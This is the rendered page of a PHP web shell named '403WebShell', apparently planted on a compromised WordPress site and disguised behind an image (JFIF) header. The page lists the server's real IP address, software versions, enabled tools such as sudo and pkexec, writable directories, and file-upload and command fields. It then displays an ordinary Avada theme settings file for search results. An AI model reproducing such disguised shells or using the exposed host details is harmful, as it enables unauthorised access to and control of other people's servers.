????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 3.147.52.13
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/www.astacus.eu/wp-content/themes/Avada/includes/options/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www.astacus.eu/wp-content/themes/Avada/includes/options/search_page.php
<?php

// Do not allow directly accessing this file.
if ( ! defined( 'ABSPATH' ) ) {
	exit( 'Direct script access denied.' );
}

/**
 * Search Page
 *
 * @param array $sections An array of our sections.
 * @return array
 */
function avada_options_section_search_page( $sections ) {

	$sections['search_page'] = array(
		'label'    => esc_html__( 'Search Page', 'Avada' ),
		'id'       => 'heading_search_page',
		'priority' => 23,
		'icon'     => 'el-icon-search',
		'fields'   => array(
			'search_layout' => array(
				'label'       => esc_html__( 'Search Results Layout', 'Avada' ),
				'description' => esc_html__( 'Controls the layout for the search results page.', 'Avada' ),
				'id'          => 'search_layout',
				'default'     => 'Grid',
				'type'        => 'select',
				'choices'     => array(
					'Large'            => esc_html__( 'Large', 'Avada' ),
					'Medium'           => esc_html__( 'Medium', 'Avada' ),
					'Large Alternate'  => esc_html__( 'Large Alternate', 'Avada' ),
					'Medium Alternate' => esc_html__( 'Medium Alternate', 'Avada' ),
					'Grid'             => esc_html__( 'Grid', 'Avada' ),
					'Timeline'         => esc_html__( 'Timeline', 'Avada' ),
				),
			),
			'search_content' => array(
				'label'       => esc_html__( 'Search Results Content', 'Avada' ),
				'description' => esc_html__( 'Controls the type of content that displays in search results.', 'Avada' ),
				'id'          => 'search_content',
				'default'     => 'Posts and Pages',
				'type'        => 'select',
				'choices'     => array(
					'Posts and Pages'         => esc_html__( 'All Post Types and Pages', 'Avada' ),
					'all_post_types_no_pages' => esc_html__( 'All Post Types without Pages', 'Avada' ),
					'Only Pages'              => esc_html__( 'Only Pages', 'Avada' ),
					'Only Posts'              => esc_html__( 'Only Blog Posts', 'Avada' ),
					'portfolio_items'         => esc_html__( 'Only Portfolio Items', 'Avada' ),
					'woocommerce_products'    => esc_html__( 'Only WooCommerce Products', 'Avada' ),
					'tribe_events'            => esc_html__( 'Events Calendar Posts', 'Avada' ),
				),
			),
			'search_excerpt' => array(
				'label'       => esc_html__( 'Search Results Excerpt', 'Avada' ),
				'description' => esc_html__( 'Turn on to display the excerpt for search results.', 'Avada' ),
				'id'          => 'search_excerpt',
				'default'     => '1',
				'type'        => 'switch',
			),
			'search_results_per_page' => array(
				'label'       => esc_html__( 'Number of Search Results Per Page', 'Avada' ),
				'description' => esc_html__( 'Controls the number of search results per page.', 'Avada' ),
				'id'          => 'search_results_per_page',
				'default'     => '10',
				'type'        => 'slider',
				'choices'     => array(
					'min'  => '1',
					'max'  => '100',
					'step' => '1',
				),
			),
			'search_featured_images' => array(
				'label'       => esc_html__( 'Featured Images for Search Results', 'Avada' ),
				'description' => esc_html__( 'Turn on to display featured images for search results.', 'Avada' ),
				'id'          => 'search_featured_images',
				'default'     => '1',
				'type'        => 'switch',
			),
			'search_new_search_position' => array(
				'label'       => esc_html__( 'Search Field Position', 'Avada' ),
				'description' => esc_html__( 'Controls the position of the search bar on the search results page.', 'Avada' ),
				'id'          => 'search_new_search_position',
				'default'     => 'top',
				'type'        => 'radio-buttonset',
				'choices'     => array(
					'top'    => esc_html__( 'Above Results', 'Avada' ),
					'bottom' => esc_html__( 'Below Results', 'Avada' ),
					'hidden' => esc_html__( 'Hide', 'Avada' ),
				),
			),
		),
	);

	return $sections;

}

Youez - 2016 - github.com/yon3zu
LinuXploit